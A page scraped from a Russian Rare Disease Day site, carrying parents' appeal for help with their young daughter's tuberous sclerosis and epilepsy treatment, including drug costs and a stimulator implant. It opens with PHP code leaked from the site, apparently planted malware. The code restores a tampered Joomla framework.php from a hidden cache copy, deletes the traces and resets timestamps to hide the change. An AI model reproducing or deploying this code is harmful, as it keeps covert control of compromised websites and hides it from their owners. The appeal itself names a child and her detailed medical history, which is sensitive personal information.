$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Кристина Щербакова
logo
 

28-02 международный день редких болезнейМеждународный день редких болезней

До дня редких болезней осталось

 
Home Вы находитесь здесь: Главная страница Истории Кристина Щербакова
Кристина Щербакова

 

3ДРАВСТВУЙТЕ!!! Наша дочка больна Туберозным склерозом, редким генетическим заболеванием, при котором во множестве органов и тканей образуются доброкачественные опухоли. КРИСТИНА Сергеевна Щербакова- 11.08.2007 г.р- 4,5 года. Диагноз: Туберозный склероз. Симптоматическая фокальная эпилепсия. Задержка психоречевого и моторного развития. Рабдомиомы сердца. Ангиолипоматоз и поликистоз почек. Заболевание сопровождается тяжелыми инфантильными спазмами (разрушением клеток головного мозга). Кристюша нуждается в постоянном, длительном (пожизненном) курсе противосудорожной терапии. Для эффективного лечения судорог, поддержания других жизненно важных органов и развития срочно требуется комплекс препаратов и витаминов таких как: "Сабрил", "Топамакс", "Депакин Хроно","Кеппра", "Эссенциале Форте", "Карнитен", "Магне-В6", "Кудесан" и поливитамины. Топамакс нам дают бесплатно, остальные препараты мы покупаем сами. В том числе и препарат Сабрил, который в России не зарегистрирован, ввозить его нужно контрабандой. Месячная стоимость комплекса противосудорожных препаратов Сабрил, Депакин Хроно, Кеппра 20 тысяч рублей. Кристина родилась 11.08.2007 г. В 4 месяца после первой вакцинации, неожиданно для нас возникли первые эпилептические судороги. Нам предложили госпитализироватся в ОДКБ г.Екатеринбурга, где врачами был поставлен предварительный диагноз: "Эпилепсия" и назначен препарат: в " "Депакин Хроно", который обычно назначают при данном диагнозе, но Кристине он не помог. К "Депакину Хроно" добавили дорогостоящий препарат "Топамакс" и к нашей радости, приступы прекратились. Кристюша постепенно начала развиваться в " научилась переворачиваться, держать игрушки, "гулить". Но спустя месяц приступы вернулись с большей силой. Нам увеличили дозу препарата "Топамакс", но он только чуточку сделал приступы слабее. Кристюша продолжала мучиться. И так в течение года нам поднимали дозу то одного, то другого препарата. Результата по изменению в лучшую сторону так и не наступало, приступы становились всё более сильными и сопровождались остановкой дыхания (около 1 минуты). Мы не знали, как помочь ребёнку. Обратились к Интернету. После долгих исканий нашли имя врача из НИИ педиатрии и детской хирургии, который занимается нашим заболеванием. Врач Дорофеева Марина Юрьевна работает в ФГУ "НИИ Педиатрии и детской хирургии" Ростехнологий. Отдел психоневрологии и эпилептологии. Детский научно-практический противосудорожный центр г. Москвы. Ею была определена новая терапия, но улучшения не было. Через месяц нам пришел вызов из НИИ по направлению Минздрава Свердловской области. Пройдя много обследований, нам назначили Сабрил дополнительно к нашим препаратам, которые мы принимали. Но врач предупредила, что этот препарат не зарегистрирован в России и покупать его надо за границей. Мы согласились принимать препарат Сабрил, потому что другая терапия нам не помогала. Препарат мы купили с рук в Москве и результат был виден на первых же приемах. Приступы сильные постепенно прекратились. Но остались слабые, но их много, от которых мы хотим тоже избавиться. Приступы очень сильно тормозят развитие. После ввода Сабрила Кристина потихоньку начала развиваться. Она научилась ползать, вставать на ножки у дивана или другой опоры. Впервые мы услышали, как она смеётся. Она очень весёлая девочка и очень хочет жить и радоваться жизни. В 3 годика Кристина начала делать свои первые шажочки, держась за руку. Научилась держать равновесие. В августе 2010 года мы снова ездили в Москву и там нам назначили пить гормоны Дексаметазон в большой дозе .Приступов стало ещё меньше, а иногда и были перерывы в 5 дней без приступов.Гормоны мы пропили 1,5 года.В 2011 году в сентябре снова в Москве.нам выводят гормоны и вводят новый препарат Кеппра. Гормоны мы выводили почти полгода.в 2012 году в конце января вывели полностью. Сейчас мы пьём Сабрил,Топамакс,кеппра,Депакин Хроно. Все препараты кроме Топамакса мы покупаем сами. Месячный курс этих препаратов стоит Сабрил-14 тыс. рублей, Кеппра 5,5 тыс. рублей, Депакин Хроно 700 рублей. Помимо этого пьем препараты для печени и множество энерготропных препаратов. Сейчас Кристина уже ходит самостоятельно, правда ещё не совсем уверенно, но главное ХОДИТ! Начала произносить несколько слогов - да-да, па-па, ба-ба и звуков. Мы ходим с дочкой в группу кратковременного пребывания, где с ней занимаются дефектолог и психолог. Ходим плавать в бассейн 2 раза в неделю и ей очень нравиться плавать в круге, она стала уверенно чувствовать себя в воде. Кристина научилась складывать предметы в коробку или банку, научилась листать книжки и каждый день просит их. Мы каждый день учим её спускаться и подниматься по лесенке и она уже держась одной рукой за маму может спуститься с 4-го этажа .А когда поднимается одной рукой держится за маму или папу, а другой за перила-помогает себе. Пусть это маленькие успехи, но для нас это огромное счастье! В России нет лекарств, которые убирают гипсаритмию (непрерывные приступы). Нам увеличили дозу до 4,1/4 табл. 2 раза в день. И теперь пачки Сабрила хватает на 12 дней (если в пачке 100 таблеток). Сейчас приступы стали очень слабыми. Со слов врача пить Сабрил, Топамакс, Кеппра и Депакин надо длительно, а может и пожизненно. Мы ищем людей, которые смогли бы нам привезти Сабрил из-за рубежа. Три раза нам уже привозили этот препарат из Германии и сейчас у нас есть лекарства до августа. Сейчас мы уже снова в поиске, кто бы смог купить и привезти Сабрил. Месячный курс Сабрила-2,5 упаковки по 100 таблеток(суточная 8,5 таблетки). Нужно сразу 15 упаковок по 100 таблеток.(500 табл. хватит 6 месяцев). Одна упаковка в Германии стоит 5500 рублей. Вся папина зарплата уходит на лекарство. Сейчас Кристинка начала катать мячик одной ручкой ,я-ей, она-мне.Научилась листать картонные книжки и рассматривать картинки. 12 марта 2012 года врач, Дорофеева Марина Юрьевна из ФГУ "НИИ Педиатрии и детской хирургии" Ростехнологий города Москвы, предложила нам операцию по имплантации нейростимулятора (VNS-терапия), так как наша эпилепсия резистентна к медикаментозной терапии. Этот метод применяется при невозможности лечить резистентную эпилепсию хирургическим путем (туберозный склероз - именно такой вариант, т.к. подлежат хирургическому лечению единицы пациентов из-за наличия нескольких эпилептогенных туберов). А очагов эпиактивности у нас много и много туберсов и субэпендимарных узлов. Стимулятор снижает число приступов на 50% и более. Сейчас хоть приступы и слабые, но они каждый день и не по разу. Кристину поставили в лист ожидания и предупредили, что стимулятор после имплантации необходимо настраивать, нужно будет приезжать в институт каждые 2 недели в течение продолжительного времени (около 1,5 месяцев) для настраивания прибора. Ждать сказали пока очередь дойдёт очень долго, а время в нашем случае очень дорого нам! Сам аппарат дорогой примерная стоимость 600 тыс рублей, у нас такой суммы нет! Сама операция в НИИ сказали будет бесплатной. Стимуляторы продаёт фирма, которая их производит и представительство её есть в Москве. Все наши деньги уходят на приобретение Сабрила и на поездки в Москву к врачу. Мы очень хотим, что б приступы не мучали нашу доченьку, что б она наконец могла развиваться и очень надеемся на эту операцию! Но ждать очереди, сколько лет 10,терять столько времени? Ведь приступы Кристину сейчас мучают каждый день. А эта операция даст возможность избавиться от них и жить нормальной жизнью. В нашей семье, работает один папа, я, по понятным причинам сижу с ребенком. Средства, которые зарабатывает муж, уходят на лечение дочки, на реабилитацию, дефектолога. Просим Вашей помощи! С надеждой на помощь, родители Кристюши - Сергей и Оксана! Рады любой помощи!

 

Завершенные конкурсы

Главная | О дне редких | Мероприятия | Фото и видео | Стать другом | Конкурсы

Разработка сайта: DriveLab.ru